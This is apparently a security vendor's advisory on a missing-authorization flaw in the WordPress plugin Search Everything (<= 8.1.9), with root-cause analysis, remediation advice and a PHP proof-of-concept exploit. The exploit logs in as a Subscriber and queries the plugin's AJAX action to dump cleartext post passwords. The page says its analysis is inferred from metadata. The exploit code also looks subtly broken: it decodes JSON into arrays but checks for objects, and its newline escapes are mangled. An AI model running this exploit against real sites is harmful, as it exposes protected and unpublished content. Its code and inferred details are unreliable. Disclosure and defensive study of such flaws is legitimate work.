Opens in a new tab
Published : November 17, 2026

CVE-2026-120564: Search Everything <= 8.1.9 Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via 's' Parameter via search_everything AJAX Action PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 8.1.9
Patched Version —
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-120564 (metadata-based):

The Search Everything plugin for WordPress, versions up to and including 8.1.9, contains a Missing Authorization vulnerability (CWE-862) in its AJAX handler `wp_ajax_search_everything`. This handler processes the `search_everything` action and performs no capability check, no ownership check, and no nonce verification before executing a WP_Query on the `s` parameter. The query results are returned as raw WP_Post objects, including the `post_password` field in cleartext, to any authenticated user with Subscriber-level access or higher. The CVSS score is 6.5 (Medium), reflecting high confidentiality impact with low attack complexity and network attack vector.

Root Cause: Atomic Edge analysis infers that the root cause is the absence of authorization controls in the AJAX handler. The CWE-862 classification confirms missing authorization, and the description explicitly states that no capability check, ownership check, or nonce verification occurs. Without a nonce, the handler is vulnerable to CSRF as well, but the primary issue is that it fails to validate the user’s permission to access the data being returned. The handler likely uses `wp_ajax_search_everything` (and possibly `wp_ajax_nopriv_search_everything`) to register the endpoint, processes `$_GET[‘s’]` directly in a WP_Query, and returns the full post objects via `wp_send_json()`. The inclusion of `post_password` in the JSON response is a critical design flaw; WordPress normally filters this field for unauthorized users. Atomic Edge research indicates that the vulnerability is confirmed from the description, but the exact code structure is inferred from typical WordPress AJAX handler patterns.

Exploitation: An attacker with Subscriber-level credentials can send a GET or POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `search_everything` and the `s` parameter set to an empty string or a wildcard to retrieve all posts. Because the handler returns raw WP_Post objects, the response JSON includes the `post_password` field for password-protected posts, exposing cleartext passwords. If the plugin’s options to search drafts, attachments, and metadata are enabled, the attacker can also retrieve draft and pending post contents that they are not authorized to view. The attack requires no user interaction and can be automated. Example request: `GET /wp-admin/admin-ajax.php?action=search_everything&s=` with a valid Subscriber session cookie.

Remediation: The fix requires adding proper authorization checks to the AJAX handler. Atomic Edge analysis suggests the following: implement a capability check (e.g., `current_user_can(‘read’)` at minimum, but ideally restrict to users who can edit posts or manage options), add nonce verification using `check_ajax_referer()`, and sanitize the `s` parameter. Most importantly, the handler must not return raw WP_Post objects; it should filter fields to exclude sensitive data like `post_password` and only return fields appropriate for the user’s capabilities. The plugin should also avoid registering the `wp_ajax_nopriv_` hook if unauthenticated access is not intended.

Impact: Successful exploitation allows any authenticated user (Subscriber and above) to extract cleartext passwords for all password-protected posts on the site, completely bypassing the password protection mechanism. This can lead to unauthorized access to sensitive content. If draft, pending, and private post search options are enabled, the attacker can read unpublished content, potentially disclosing sensitive information. The vulnerability does not directly lead to privilege escalation or remote code execution, but the exposed information could be used for further attacks. The CVSS vector indicates high confidentiality impact and no integrity or availability impact.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-120564 - Search Everything <= 8.1.9 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure via 's' Parameter via search_everything AJAX Action

// This PoC assumes the attacker has valid Subscriber-level credentials.
// It sends a request to the vulnerable AJAX action with an empty search query to retrieve all posts,
// including password-protected posts, and extracts the post_password field from the JSON response.

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // Subscriber username
$password = 'password'; // Subscriber password

// Step 1: Authenticate and obtain cookies
$login_url = $target_url . '/wp-login.php';
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if ($response === false) {
    die('Login failed (curl error).n');
}

// Step 2: Send the exploit request to admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$params = [
    'action' => 'search_everything',
    's' => '' // Empty search retrieves all posts
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url . '?' . http_build_query($params));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

if ($response === false) {
    die('Exploit request failed (curl error).n');
}

// Step 3: Parse JSON response and extract post_password fields
$data = json_decode($response, true);
if (json_last_error() !== JSON_ERROR_NONE) {
    die('Invalid JSON response: ' . $response . 'n');
}

// The response may be an array of posts or an object containing posts.
// Adjust based on actual structure. This assumes an array of WP_Post objects.
$passwords = [];
if (is_array($data)) {
    foreach ($data as $post) {
        if (is_object($post) && isset($post->post_password) && !empty($post->post_password)) {
            $passwords[] = [
                'ID' => $post->ID,
                'post_title' => $post->post_title,
                'post_password' => $post->post_password
            ];
        }
    }
}

if (empty($passwords)) {
    echo "No password-protected posts found or response format unexpected.n";
} else {
    echo "Extracted password-protected posts:n";
    foreach ($passwords as $entry) {
        echo "ID: {$entry['ID']}, Title: {$entry['post_title']}, Password: {$entry['post_password']}n";
    }
}

// Note: The actual response structure may differ (e.g., wrapped in a 'posts' key).
// Adjust parsing accordingly. This PoC is based on the metadata description.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.